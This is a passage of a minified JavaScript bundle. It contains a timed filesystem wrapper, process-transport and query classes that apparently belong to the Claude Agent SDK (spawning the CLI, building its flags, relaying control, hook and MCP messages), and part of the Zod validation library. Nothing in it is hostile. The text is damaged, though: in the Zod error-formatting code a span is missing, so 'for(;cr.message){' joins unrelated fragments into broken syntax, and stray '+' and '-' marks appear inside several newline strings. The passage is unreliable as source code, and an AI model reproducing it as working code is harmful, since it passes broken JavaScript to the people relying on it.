e()}finally{let n=performance.now()-r;n>iF&&Fa(`[SLOW OPERATION DETECTED] fs.${t} (${n.toFixed(1)}ms)`)}}var oF={cwd(){return process.cwd()},existsSync(t){return Rt("existsSync",()=>Ee.existsSync(t))},async stat(t){return(0,cT.stat)(t)},statSync(t){return Rt("statSync",()=>Ee.statSync(t))},lstatSync(t){return Rt("lstatSync",()=>Ee.lstatSync(t))},readFileSync(t,e){return Rt("readFileSync",()=>Ee.readFileSync(t,{encoding:e.encoding}))},readFileBytesSync(t){return Rt("readFileBytesSync",()=>Ee.readFileSync(t))},readSync(t,e){return Rt("readSync",()=>{let r;try{r=Ee.openSync(t,"r");let n=Buffer.alloc(e.length),a=Ee.readSync(r,n,0,e.length,0);return{buffer:n,bytesRead:a}}finally{r&&Ee.closeSync(r)}})},writeFileSync(t,e,r){return Rt("writeFileSync",()=>{let n=Ee.existsSync(t);if(!r.flush){let s={encoding:r.encoding};n?r.mode!==void 0&&(s.mode=r.mode):s.mode=r.mode??384,Ee.writeFileSync(t,e,s);return}let a;try{let s=n?r.mode:r.mode??384;a=Ee.openSync(t,"w",s),Ee.writeFileSync(a,e,{encoding:r.encoding}),Ee.fsyncSync(a)}finally{a&&Ee.closeSync(a)}})},appendFileSync(t,e,r){return Rt("appendFileSync",()=>{if(Ee.existsSync(t))Ee.appendFileSync(t,e);else{let n=r?.mode??384,a=Ee.openSync(t,"a",n);try{Ee.appendFileSync(a,e)}finally{Ee.closeSync(a)}}})},copyFileSync(t,e){return Rt("copyFileSync",()=>Ee.copyFileSync(t,e))},unlinkSync(t){return Rt("unlinkSync",()=>Ee.unlinkSync(t))},renameSync(t,e){return Rt("renameSync",()=>Ee.renameSync(t,e))},linkSync(t,e){return Rt("linkSync",()=>Ee.linkSync(t,e))},symlinkSync(t,e){return Rt("symlinkSync",()=>Ee.symlinkSync(t,e))},readlinkSync(t){return Rt("readlinkSync",()=>Ee.readlinkSync(t))},realpathSync(t){return Rt("realpathSync",()=>Ee.realpathSync(t))},mkdirSync(t){return Rt("mkdirSync",()=>{Ee.existsSync(t)||Ee.mkdirSync(t,{recursive:!0,mode:448})})},readdirSync(t){return Rt("readdirSync",()=>Ee.readdirSync(t,{withFileTypes:!0}))},readdirStringSync(t){return Rt("readdirStringSync",()=>Ee.readdirSync(t))},isDirEmptySync(t){return Rt("isDirEmptySync",()=>this.readdirSync(t).length===0)},rmdirSync(t){return Rt("rmdirSync",()=>Ee.rmdirSync(t))},rmSync(t,e){return Rt("rmSync",()=>Ee.rmSync(t,e))},createWriteStream(t){return Ee.createWriteStream(t)}},cF=oF;function va(){return cF}var Nn=class extends Error{};function xT(){return process.versions.bun!==void 0}var Uu=null,b1=!1;function uF(){if(b1)return Uu;if(b1=!0,!process.env.DEBUG_CLAUDE_AGENT_SDK)return null;let t=(0,rm.join)(hT(),"debug");return Uu=(0,rm.join)(t,`sdk-${(0,wT.randomUUID)()}.txt`),(0,si.existsSync)(t)||(0,si.mkdirSync)(t,{recursive:!0}),process.stderr.write(`SDK debug logs: ${Uu} +`),Uu}function An(t){let e=uF();if(!e)return;let n=`${new Date().toISOString()} ${t} +`;(0,si.appendFileSync)(e,n)}function lF(t,e){let r={...t};if(e){let n={sandbox:e};if(r.settings)try{n={...JSON.parse(r.settings),sandbox:e}}catch{}r.settings=JSON.stringify(n)}return r}var am=class{options;process;processStdin;processStdout;ready=!1;abortController;exitError;exitListeners=[];processExitHandler;abortHandler;constructor(e){this.options=e,this.abortController=e.abortController||sT(),this.initialize()}getDefaultExecutable(){return xT()?"bun":"node"}spawnLocalProcess(e){let{command:r,args:n,cwd:a,env:s,signal:i}=e,o=s.DEBUG_CLAUDE_AGENT_SDK||this.options.stderr?"pipe":"ignore",c=(0,iT.spawn)(r,n,{cwd:a,stdio:["pipe","pipe",o],signal:i,env:s,windowsHide:!0});return(s.DEBUG_CLAUDE_AGENT_SDK||this.options.stderr)&&c.stderr.on("data",l=>{let d=l.toString();An(d),this.options.stderr&&this.options.stderr(d)}),{stdin:c.stdin,stdout:c.stdout,get killed(){return c.killed},get exitCode(){return c.exitCode},kill:c.kill.bind(c),on:c.on.bind(c),once:c.once.bind(c),off:c.off.bind(c)}}initialize(){try{let{additionalDirectories:e=[],betas:r,cwd:n,executable:a=this.getDefaultExecutable(),executableArgs:s=[],extraArgs:i={},pathToClaudeCodeExecutable:o,env:c={...process.env},maxThinkingTokens:u,maxTurns:l,maxBudgetUsd:d,model:f,fallbackModel:m,jsonSchema:g,permissionMode:b,allowDangerouslySkipPermissions:p,permissionPromptToolName:h,continueConversation:y,resume:v,settingSources:_,allowedTools:S=[],disallowedTools:x=[],tools:E,mcpServers:T,strictMcpConfig:$,canUseTool:N,includePartialMessages:j,plugins:q,sandbox:H}=this.options,A=["--output-format","stream-json","--verbose","--input-format","stream-json"];if(u!==void 0&&A.push("--max-thinking-tokens",u.toString()),l&&A.push("--max-turns",l.toString()),d!==void 0&&A.push("--max-budget-usd",d.toString()),f&&A.push("--model",f),r&&r.length>0&&A.push("--betas",r.join(",")),g&&A.push("--json-schema",JSON.stringify(g)),c.DEBUG_CLAUDE_AGENT_SDK&&A.push("--debug-to-stderr"),N){if(h)throw new Error("canUseTool callback cannot be used with permissionPromptToolName. Please use one or the other.");A.push("--permission-prompt-tool","stdio")}else h&&A.push("--permission-prompt-tool",h);if(y&&A.push("--continue"),v&&A.push("--resume",v),S.length>0&&A.push("--allowedTools",S.join(",")),x.length>0&&A.push("--disallowedTools",x.join(",")),E!==void 0&&(Array.isArray(E)?E.length===0?A.push("--tools",""):A.push("--tools",E.join(",")):A.push("--tools","default")),T&&Object.keys(T).length>0&&A.push("--mcp-config",JSON.stringify({mcpServers:T})),_&&A.push("--setting-sources",_.join(",")),$&&A.push("--strict-mcp-config"),b&&A.push("--permission-mode",b),p&&A.push("--allow-dangerously-skip-permissions"),m){if(f&&m===f)throw new Error("Fallback model cannot be the same as the main model. Please specify a different model for fallbackModel option.");A.push("--fallback-model",m)}j&&A.push("--include-partial-messages");for(let R of e)A.push("--add-dir",R);if(q&&q.length>0)for(let R of q)if(R.type==="local")A.push("--plugin-dir",R.path);else throw new Error(`Unsupported plugin type: ${R.type}`);this.options.forkSession&&A.push("--fork-session"),this.options.resumeSessionAt&&A.push("--resume-session-at",this.options.resumeSessionAt),this.options.persistSession===!1&&A.push("--no-session-persistence");let W=lF(i??{},H);for(let[R,z]of Object.entries(W))z===null?A.push(`--${R}`):A.push(`--${R}`,z);c.CLAUDE_CODE_ENTRYPOINT||(c.CLAUDE_CODE_ENTRYPOINT="sdk-ts"),delete c.NODE_OPTIONS,c.DEBUG_CLAUDE_AGENT_SDK?c.DEBUG="1":delete c.DEBUG;let oe=dF(o),he=oe?o:a,ne=oe?[...s,...A]:[...s,o,...A],re={command:he,args:ne,cwd:n,env:c,signal:this.abortController.signal};if(this.options.spawnClaudeCodeProcess)An(`Spawning Claude Code (custom): ${he} ${ne.join(" ")}`),this.process=this.options.spawnClaudeCodeProcess(re);else{if(!va().existsSync(o)){let z=oe?`Claude Code native binary not found at ${o}. Please ensure Claude Code is installed via native installer or specify a valid path with options.pathToClaudeCodeExecutable.`:`Claude Code executable not found at ${o}. Is options.pathToClaudeCodeExecutable set?`;throw new ReferenceError(z)}An(`Spawning Claude Code: ${he} ${ne.join(" ")}`),this.process=this.spawnLocalProcess(re)}this.processStdin=this.process.stdin,this.processStdout=this.process.stdout;let F=()=>{this.process&&!this.process.killed&&this.process.kill("SIGTERM")};this.processExitHandler=F,this.abortHandler=F,process.on("exit",this.processExitHandler),this.abortController.signal.addEventListener("abort",this.abortHandler),this.process.on("error",R=>{this.ready=!1,this.abortController.signal.aborted?this.exitError=new Nn("Claude Code process aborted by user"):(this.exitError=new Error(`Failed to spawn Claude Code process: ${R.message}`),An(this.exitError.message))}),this.process.on("exit",(R,z)=>{if(this.ready=!1,this.abortController.signal.aborted)this.exitError=new Nn("Claude Code process aborted by user");else{let I=this.getProcessExitError(R,z);I&&(this.exitError=I,An(I.message))}}),this.ready=!0}catch(e){throw this.ready=!1,e}}getProcessExitError(e,r){if(e!==0&&e!==null)return new Error(`Claude Code process exited with code ${e}`);if(r)return new Error(`Claude Code process terminated by signal ${r}`)}write(e){if(this.abortController.signal.aborted)throw new Nn("Operation aborted");if(!this.ready||!this.processStdin)throw new Error("ProcessTransport is not ready for writing");if(this.process?.killed||this.process?.exitCode!==null)throw new Error("Cannot write to terminated process");if(this.exitError)throw new Error(`Cannot write to process that exited with error: ${this.exitError.message}`);An(`[ProcessTransport] Writing to stdin: ${e.substring(0,100)}`);try{this.processStdin.write(e)||An("[ProcessTransport] Write buffer full, data queued")}catch(r){throw this.ready=!1,new Error(`Failed to write to process stdin: ${r.message}`)}}close(){this.processStdin&&(this.processStdin.end(),this.processStdin=void 0),this.abortHandler&&(this.abortController.signal.removeEventListener("abort",this.abortHandler),this.abortHandler=void 0);for(let{handler:e}of this.exitListeners)this.process?.off("exit",e);this.exitListeners=[],this.process&&!this.process.killed&&(this.process.kill("SIGTERM"),setTimeout(()=>{this.process&&!this.process.killed&&this.process.kill("SIGKILL")},5e3)),this.ready=!1,this.processExitHandler&&(process.off("exit",this.processExitHandler),this.processExitHandler=void 0)}isReady(){return this.ready}async*readMessages(){if(!this.processStdout)throw new Error("ProcessTransport output stream not available");let e=(0,oT.createInterface)({input:this.processStdout});try{for await(let r of e)r.trim()&&(yield JSON.parse(r));await this.waitForExit()}catch(r){throw r}finally{e.close()}}endInput(){this.processStdin&&this.processStdin.end()}getInputStream(){return this.processStdin}onExit(e){if(!this.process)return()=>{};let r=(n,a)=>{let s=this.getProcessExitError(n,a);e(s)};return this.process.on("exit",r),this.exitListeners.push({callback:e,handler:r}),()=>{this.process&&this.process.off("exit",r);let n=this.exitListeners.findIndex(a=>a.handler===r);n!==-1&&this.exitListeners.splice(n,1)}}async waitForExit(){if(!this.process){if(this.exitError)throw this.exitError;return}if(this.process.exitCode!==null||this.process.killed){if(this.exitError)throw this.exitError;return}return new Promise((e,r)=>{let n=(s,i)=>{if(this.abortController.signal.aborted){r(new Nn("Operation aborted"));return}let o=this.getProcessExitError(s,i);o?r(o):e()};this.process.once("exit",n);let a=s=>{this.process.off("exit",n),r(s)};this.process.once("error",a),this.process.once("exit",()=>{this.process.off("error",a)})})}};function dF(t){return![".js",".mjs",".tsx",".ts",".jsx"].some(r=>t.endsWith(r))}var nm=class{returned;queue=[];readResolve;readReject;isDone=!1;hasError;started=!1;constructor(e){this.returned=e}[Symbol.asyncIterator](){if(this.started)throw new Error("Stream can only be iterated once");return this.started=!0,this}next(){return this.queue.length>0?Promise.resolve({done:!1,value:this.queue.shift()}):this.isDone?Promise.resolve({done:!0,value:void 0}):this.hasError?Promise.reject(this.hasError):new Promise((e,r)=>{this.readResolve=e,this.readReject=r})}enqueue(e){if(this.readResolve){let r=this.readResolve;this.readResolve=void 0,this.readReject=void 0,r({done:!1,value:e})}else this.queue.push(e)}done(){if(this.isDone=!0,this.readResolve){let e=this.readResolve;this.readResolve=void 0,this.readReject=void 0,e({done:!0,value:void 0})}}error(e){if(this.hasError=e,this.readReject){let r=this.readReject;this.readResolve=void 0,this.readReject=void 0,r(e)}}return(){return this.isDone=!0,this.returned&&this.returned(),Promise.resolve({done:!0,value:void 0})}},sm=class{sendMcpMessage;isClosed=!1;constructor(e){this.sendMcpMessage=e}onclose;onerror;onmessage;async start(){}async send(e){if(this.isClosed)throw new Error("Transport is closed");this.sendMcpMessage(e)}async close(){this.isClosed||(this.isClosed=!0,this.onclose?.())}},im=class{transport;isSingleUserTurn;canUseTool;hooks;abortController;jsonSchema;initConfig;pendingControlResponses=new Map;cleanupPerformed=!1;sdkMessages;inputStream=new nm;initialization;cancelControllers=new Map;hookCallbacks=new Map;nextCallbackId=0;sdkMcpTransports=new Map;sdkMcpServerInstances=new Map;pendingMcpResponses=new Map;firstResultReceivedResolve;firstResultReceived=!1;hasBidirectionalNeeds(){return this.sdkMcpTransports.size>0||this.hooks!==void 0&&Object.keys(this.hooks).length>0||this.canUseTool!==void 0}constructor(e,r,n,a,s,i=new Map,o,c){this.transport=e,this.isSingleUserTurn=r,this.canUseTool=n,this.hooks=a,this.abortController=s,this.jsonSchema=o,this.initConfig=c;for(let[u,l]of i)this.connectSdkMcpServer(u,l);this.sdkMessages=this.readSdkMessages(),this.readMessages(),this.initialization=this.initialize(),this.initialization.catch(()=>{})}setError(e){this.inputStream.error(e)}cleanup(e){if(!this.cleanupPerformed){this.cleanupPerformed=!0;try{this.transport.close(),this.pendingControlResponses.clear(),this.pendingMcpResponses.clear(),this.cancelControllers.clear(),this.hookCallbacks.clear();for(let r of this.sdkMcpTransports.values())try{r.close()}catch{}this.sdkMcpTransports.clear(),e?this.inputStream.error(e):this.inputStream.done()}catch{}}}next(...[e]){return this.sdkMessages.next(e)}return(e){return this.sdkMessages.return(e)}throw(e){return this.sdkMessages.throw(e)}[Symbol.asyncIterator](){return this.sdkMessages}[Symbol.asyncDispose](){return this.sdkMessages[Symbol.asyncDispose]()}async readMessages(){try{for await(let e of this.transport.readMessages()){if(e.type==="control_response"){let r=this.pendingControlResponses.get(e.response.request_id);r&&r(e.response);continue}else if(e.type==="control_request"){this.handleControlRequest(e);continue}else if(e.type==="control_cancel_request"){this.handleControlCancelRequest(e);continue}else if(e.type==="keep_alive")continue;e.type==="result"&&(this.firstResultReceived=!0,this.firstResultReceivedResolve&&this.firstResultReceivedResolve(),this.isSingleUserTurn&&(Fa("[Query.readMessages] First result received for single-turn query, closing stdin"),this.transport.endInput())),this.inputStream.enqueue(e)}this.firstResultReceivedResolve&&this.firstResultReceivedResolve(),this.inputStream.done(),this.cleanup()}catch(e){this.firstResultReceivedResolve&&this.firstResultReceivedResolve(),this.inputStream.error(e),this.cleanup(e)}}async handleControlRequest(e){let r=new AbortController;this.cancelControllers.set(e.request_id,r);try{let n=await this.processControlRequest(e,r.signal),a={type:"control_response",response:{subtype:"success",request_id:e.request_id,response:n}};await Promise.resolve(this.transport.write(JSON.stringify(a)+` `))}catch(n){let a={type:"control_response",response:{subtype:"error",request_id:e.request_id,error:n.message||String(n)}};await Promise.resolve(this.transport.write(JSON.stringify(a)+` `))}finally{this.cancelControllers.delete(e.request_id)}}handleControlCancelRequest(e){let r=this.cancelControllers.get(e.request_id);r&&(r.abort(),this.cancelControllers.delete(e.request_id))}async processControlRequest(e,r){if(e.request.subtype==="can_use_tool"){if(!this.canUseTool)throw new Error("canUseTool callback is not provided.");return{...await this.canUseTool(e.request.tool_name,e.request.input,{signal:r,suggestions:e.request.permission_suggestions,blockedPath:e.request.blocked_path,decisionReason:e.request.decision_reason,toolUseID:e.request.tool_use_id,agentID:e.request.agent_id}),toolUseID:e.request.tool_use_id}}else{if(e.request.subtype==="hook_callback")return await this.handleHookCallbacks(e.request.callback_id,e.request.input,e.request.tool_use_id,r);if(e.request.subtype==="mcp_message"){let n=e.request,a=this.sdkMcpTransports.get(n.server_name);if(!a)throw new Error(`SDK MCP server not found: ${n.server_name}`);return"method"in n.message&&"id"in n.message&&n.message.id!==null?{mcp_response:await this.handleMcpControlRequest(n.server_name,n,a)}:(a.onmessage&&a.onmessage(n.message),{mcp_response:{jsonrpc:"2.0",result:{},id:0}})}}throw new Error("Unsupported control request subtype: "+e.request.subtype)}async*readSdkMessages(){for await(let e of this.inputStream)yield e}async initialize(){let e;if(this.hooks){e={};for(let[s,i]of Object.entries(this.hooks))i.length>0&&(e[s]=i.map(o=>{let c=[];for(let u of o.hooks){let l=`hook_${this.nextCallbackId++}`;this.hookCallbacks.set(l,u),c.push(l)}return{matcher:o.matcher,hookCallbackIds:c,timeout:o.timeout}}))}let r=this.sdkMcpTransports.size>0?Array.from(this.sdkMcpTransports.keys()):void 0,n={subtype:"initialize",hooks:e,sdkMcpServers:r,jsonSchema:this.jsonSchema,systemPrompt:this.initConfig?.systemPrompt,appendSystemPrompt:this.initConfig?.appendSystemPrompt,agents:this.initConfig?.agents};return(await this.request(n)).response}async interrupt(){await this.request({subtype:"interrupt"})}async setPermissionMode(e){await this.request({subtype:"set_permission_mode",mode:e})}async setModel(e){await this.request({subtype:"set_model",model:e})}async setMaxThinkingTokens(e){await this.request({subtype:"set_max_thinking_tokens",max_thinking_tokens:e})}async rewindFiles(e){await this.request({subtype:"rewind_files",user_message_id:e})}async processPendingPermissionRequests(e){for(let r of e)r.request.subtype==="can_use_tool"&&this.handleControlRequest(r).catch(()=>{})}request(e){let r=Math.random().toString(36).substring(2,15),n={request_id:r,type:"control_request",request:e};return new Promise((a,s)=>{this.pendingControlResponses.set(r,i=>{i.subtype==="success"?a(i):(s(new Error(i.error)),i.pending_permission_requests&&this.processPendingPermissionRequests(i.pending_permission_requests))}),Promise.resolve(this.transport.write(JSON.stringify(n)+` -`))})}async supportedCommands(){return(await this.initialization).commands}async supportedModels(){return(await this.initialization).models}async mcpServerStatus(){return(await this.request({subtype:"mcp_status"})).response.mcpServers}async setMcpServers(e){let r={},n={};for(let[c,u]of Object.entries(e))u.type==="sdk"&&"instance"in u?r[c]=u.instance:n[c]=u;let a=new Set(this.sdkMcpServerInstances.keys()),s=new Set(Object.keys(r));for(let c of a)s.has(c)||await this.disconnectSdkMcpServer(c);for(let[c,u]of Object.entries(r))a.has(c)||this.connectSdkMcpServer(c,u);let i={};for(let c of Object.keys(r))i[c]={type:"sdk",name:c};return(await this.request({subtype:"mcp_set_servers",servers:{...n,...i}})).response}async accountInfo(){return(await this.initialization).account}async streamInput(e){Da("[Query.streamInput] Starting to process input stream");try{let r=0;for await(let n of e){if(r++,Da(`[Query.streamInput] Processing message ${r}: ${n.type}`),this.abortController?.signal.aborted)break;await Promise.resolve(this.transport.write(JSON.stringify(n)+` -`))}Da(`[Query.streamInput] Finished processing ${r} messages from input stream`),this.hasBidirectionalNeeds()&&(Da("[Query.streamInput] Has bidirectional needs, waiting for first result"),await this.waitForFirstResult()),Da("[Query] Calling transport.endInput() to close stdin to CLI process"),this.transport.endInput()}catch(r){if(!(r instanceof On))throw r}}waitForFirstResult(){return this.firstResultReceived?(Da("[Query.waitForFirstResult] Result already received, returning immediately"),Promise.resolve()):new Promise(e=>{if(this.abortController?.signal.aborted){e();return}this.abortController?.signal.addEventListener("abort",()=>e(),{once:!0}),this.firstResultReceivedResolve=e})}handleHookCallbacks(e,r,n,a){let s=this.hookCallbacks.get(e);if(!s)throw new Error(`No hook callback found for ID: ${e}`);return s(r,n,{signal:a})}connectSdkMcpServer(e,r){let n=new am(a=>this.sendMcpServerMessageToCli(e,a));this.sdkMcpTransports.set(e,n),this.sdkMcpServerInstances.set(e,r),r.connect(n)}async disconnectSdkMcpServer(e){let r=this.sdkMcpTransports.get(e);r&&(await r.close(),this.sdkMcpTransports.delete(e)),this.sdkMcpServerInstances.delete(e)}sendMcpServerMessageToCli(e,r){if("id"in r&&r.id!==null&&r.id!==void 0){let a=`${e}:${r.id}`,s=this.pendingMcpResponses.get(a);if(s){s.resolve(r),this.pendingMcpResponses.delete(a);return}}let n={type:"control_request",request_id:(0,fT.randomUUID)(),request:{subtype:"mcp_message",server_name:e,message:r}};this.transport.write(JSON.stringify(n)+` -`)}handleMcpControlRequest(e,r,n){let a="id"in r.message?r.message.id:null,s=`${e}:${a}`;return new Promise((i,o)=>{let c=()=>{this.pendingMcpResponses.delete(s)},u=d=>{c(),i(d)},l=d=>{c(),o(d)};if(this.pendingMcpResponses.set(s,{resolve:u,reject:l}),n.onmessage)n.onmessage(r.message);else{c(),o(new Error("No message handler registered"));return}})}};var Ge;(function(t){t.assertEqual=a=>{};function e(a){}t.assertIs=e;function r(a){throw new Error}t.assertNever=r,t.arrayToEnum=a=>{let s={};for(let i of a)s[i]=i;return s},t.getValidEnumValues=a=>{let s=t.objectKeys(a).filter(o=>typeof a[a[o]]!="number"),i={};for(let o of s)i[o]=a[o];return t.objectValues(i)},t.objectValues=a=>t.objectKeys(a).map(function(s){return a[s]}),t.objectKeys=typeof Object.keys=="function"?a=>Object.keys(a):a=>{let s=[];for(let i in a)Object.prototype.hasOwnProperty.call(a,i)&&s.push(i);return s},t.find=(a,s)=>{for(let i of a)if(s(i))return i},t.isInteger=typeof Number.isInteger=="function"?a=>Number.isInteger(a):a=>typeof a=="number"&&Number.isFinite(a)&&Math.floor(a)===a;function n(a,s=" | "){return a.map(i=>typeof i=="string"?`'${i}'`:i).join(s)}t.joinValues=n,t.jsonStringifyReplacer=(a,s)=>typeof s=="bigint"?s.toString():s})(Ge||(Ge={}));var d1;(function(t){t.mergeShapes=(e,r)=>({...e,...r})})(d1||(d1={}));var _e=Ge.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),qa=t=>{switch(typeof t){case"undefined":return _e.undefined;case"string":return _e.string;case"number":return Number.isNaN(t)?_e.nan:_e.number;case"boolean":return _e.boolean;case"function":return _e.function;case"bigint":return _e.bigint;case"symbol":return _e.symbol;case"object":return Array.isArray(t)?_e.array:t===null?_e.null:t.then&&typeof t.then=="function"&&t.catch&&typeof t.catch=="function"?_e.promise:typeof Map<"u"&&t instanceof Map?_e.map:typeof Set<"u"&&t instanceof Set?_e.set:typeof Date<"u"&&t instanceof Date?_e.date:_e.object;default:return _e.unknown}},oe=Ge.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),Sr=class t extends Error{get errors(){return this.issues}constructor(e){super(),this.issues=[],this.addIssue=n=>{this.issues=[...this.issues,n]},this.addIssues=(n=[])=>{this.issues=[...this.issues,...n]};let r=new.target.prototype;Object.setPrototypeOf?Object.setPrototypeOf(this,r):this.__proto__=r,this.name="ZodError",this.issues=e}format(e){let r=e||function(s){return s.message},n={_errors:[]},a=s=>{for(let i of s.issues)if(i.code==="invalid_union")i.unionErrors.map(a);else if(i.code==="invalid_return_type")a(i.returnTypeError);else if(i.code==="invalid_arguments")a(i.argumentsError);else if(i.path.length===0)n._errors.push(r(i));else{let o=n,c=0;for(;cr.message){let r={},n=[];for(let a of this.issues)if(a.path.length>0){let s=a.path[0];r[s]=r[s]||[],r[s].push(e(a))}else n.push(e(a));return{formErrors:n,fieldErrors:r}}get formErrors(){return this.flatten()}};Sr.create=t=>new Sr(t);var B5=(t,e)=>{let r;switch(t.code){case oe.invalid_type:t.received===_e.undefined?r="Required":r=`Expected ${t.expected}, received ${t.received}`;break;case oe.invalid_literal:r=`Invalid literal value, expected ${JSON.stringify(t.expected,Ge.jsonStringifyReplacer)}`;break;case oe.unrecognized_keys:r=`Unrecognized key(s) in object: ${Ge.joinValues(t.keys,", ")}`;break;case oe.invalid_union:r="Invalid input";break;case oe.invalid_union_discriminator:r=`Invalid discriminator value. Expected ${Ge.joinValues(t.options)}`;break;case oe.invalid_enum_value:r=`Invalid enum value. Expected ${Ge.joinValues(t.options)}, received '${t.received}'`;break;case oe.invalid_arguments:r="Invalid function arguments";break;case oe.invalid_return_type:r="Invalid function return type";break;case oe.invalid_date:r="Invalid date";break;case oe.invalid_string:typeof t.validation=="object"?"includes"in t.validation?(r=`Invalid input: must include "${t.validation.includes}"`,typeof t.validation.position=="number"&&(r=`${r} at one or more positions greater than or equal to ${t.validation.position}`)):"startsWith"in t.validation?r=`Invalid input: must start with "${t.validation.startsWith}"`:"endsWith"in t.validation?r=`Invalid input: must end with "${t.validation.endsWith}"`:Ge.assertNever(t.validation):t.validation!=="regex"?r=`Invalid ${t.validation}`:r="Invalid";break;case oe.too_small:t.type==="array"?r=`Array must contain ${t.exact?"exactly":t.inclusive?"at least":"more than"} ${t.minimum} element(s)`:t.type==="string"?r=`String must contain ${t.exact?"exactly":t.inclusive?"at least":"over"} ${t.minimum} character(s)`:t.type==="number"?r=`Number must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${t.minimum}`:t.type==="bigint"?r=`Number must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${t.minimum}`:t.type==="date"?r=`Date must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${new Date(Number(t.minimum))}`:r="Invalid input";break;case oe.too_big:t.type==="array"?r=`Array must contain ${t.exact?"exactly":t.inclusive?"at most":"less than"} ${t.maximum} element(s)`:t.type==="string"?r=`String must contain ${t.exact?"exactly":t.inclusive?"at most":"under"} ${t.maximum} character(s)`:t.type==="number"?r=`Number must be ${t.exact?"exactly":t.inclusive?"less than or equal to":"less than"} ${t.maximum}`:t.type==="bigint"?r=`BigInt must be ${t.exact?"exactly":t.inclusive?"less than or equal to":"less than"} ${t.maximum}`:t.type==="date"?r=`Date must be ${t.exact?"exactly":t.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number(t.maximum))}`:r="Invalid input";break;case oe.custom:r="Invalid input";break;case oe.invalid_intersection_types:r="Intersection results could not be merged";break;case oe.not_multiple_of:r=`Number must be a multiple of ${t.multipleOf}`;break;case oe.not_finite:r="Number must be finite";break;default:r=e.defaultError,Ge.assertNever(t)}return{message:r}},mo=B5,V5=mo;function sm(){return V5}var im=t=>{let{data:e,path:r,errorMaps:n,issueData:a}=t,s=[...r,...a.path||[]],i={...a,path:s};if(a.message!==void 0)return{...a,path:s,message:a.message};let o="",c=n.filter(u=>!!u).slice().reverse();for(let u of c)o=u(i,{data:e,defaultError:o}).message;return{...a,path:s,message:o}};function he(t,e){let r=sm(),n=im({issueData:e,data:t.data,path:t.path,errorMaps:[t.common.contextualErrorMap,t.schemaErrorMap,r,r===mo?void 0:mo].filter(a=>!!a)});t.common.issues.push(n)}var Zt=class t{constructor(){this.value="valid"}dirty(){this.value==="valid"&&(this.value="dirty")}abort(){this.value!=="aborted"&&(this.value="aborted")}static mergeArray(e,r){let n=[];for(let a of r){if(a.status==="aborted")return Pe;a.status==="dirty"&&e.dirty(),n.push(a.value)}return{status:e.value,value:n}}static async mergeObjectAsync(e,r){let n=[];for(let a of r){let s=await a.key,i=await a.value;n.push({key:s,value:i})}return t.mergeObjectSync(e,n)}static mergeObjectSync(e,r){let n={};for(let a of r){let{key:s,value:i}=a;if(s.status==="aborted"||i.status==="aborted")return Pe;s.status==="dirty"&&e.dirty(),i.status==="dirty"&&e.dirty(),s.value!=="__proto__"&&(typeof i.value<"u"||a.alwaysSet)&&(n[s.value]=i.value)}return{status:e.value,value:n}}},Pe=Object.freeze({status:"aborted"}),lo=t=>({status:"dirty",value:t}),rr=t=>({status:"valid",value:t}),p1=t=>t.status==="aborted",f1=t=>t.status==="dirty",Fs=t=>t.status==="valid",Ku=t=>typeof Promise<"u"&&t instanceof Promise,xe;(function(t){t.errToObj=e=>typeof e=="string"?{message:e}:e||{},t.toString=e=>typeof e=="string"?e:e?.message})(xe||(xe={}));var Er=class{constructor(e,r,n,a){this._cachedPath=[],this.parent=e,this.data=r,this._path=n,this._key=a}get path(){return this._cachedPath.length||(Array.isArray(this._key)?this._cachedPath.push(...this._path,...this._key):this._cachedPath.push(...this._path,this._key)),this._cachedPath}},m1=(t,e)=>{if(Fs(e))return{success:!0,data:e.value};if(!t.common.issues.length)throw new Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let r=new Sr(t.common.issues);return this._error=r,this._error}}};function je(t){if(!t)return{};let{errorMap:e,invalid_type_error:r,required_error:n,description:a}=t;if(e&&(r||n))throw new Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);return e?{errorMap:e,description:a}:{errorMap:(i,o)=>{let{message:c}=t;return i.code==="invalid_enum_value"?{message:c??o.defaultError}:typeof o.data>"u"?{message:c??n??o.defaultError}:i.code!=="invalid_type"?{message:o.defaultError}:{message:c??r??o.defaultError}},description:a}}var ze=class{get description(){return this._def.description}_getType(e){return qa(e.data)}_getOrReturnCtx(e,r){return r||{common:e.parent.common,data:e.data,parsedType:qa(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}_processInputParams(e){return{status:new Zt,ctx:{common:e.parent.common,data:e.data,parsedType:qa(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}}_parseSync(e){let r=this._parse(e);if(Ku(r))throw new Error("Synchronous parse encountered promise.");return r}_parseAsync(e){let r=this._parse(e);return Promise.resolve(r)}parse(e,r){let n=this.safeParse(e,r);if(n.success)return n.data;throw n.error}safeParse(e,r){let n={common:{issues:[],async:r?.async??!1,contextualErrorMap:r?.errorMap},path:r?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:qa(e)},a=this._parseSync({data:e,path:n.path,parent:n});return m1(n,a)}"~validate"(e){let r={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:qa(e)};if(!this["~standard"].async)try{let n=this._parseSync({data:e,path:[],parent:r});return Fs(n)?{value:n.value}:{issues:r.common.issues}}catch(n){n?.message?.toLowerCase()?.includes("encountered")&&(this["~standard"].async=!0),r.common={issues:[],async:!0}}return this._parseAsync({data:e,path:[],parent:r}).then(n=>Fs(n)?{value:n.value}:{issues:r.common.issues})}async parseAsync(e,r){let n=await this.safeParseAsync(e,r);if(n.success)return n.data;throw n.error}async safeParseAsync(e,r){let n={common:{issues:[],contextualErrorMap:r?.errorMap,async:!0},path:r?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:qa(e)},a=this._parse({data:e,path:n.path,parent:n}),s=await(Ku(a)?a:Promise.resolve(a));return m1(n,s)}refine(e,r){let n=a=>typeof r=="string"||typeof r>"u"?{message:r}:typeof r=="function"?r(a):r;return 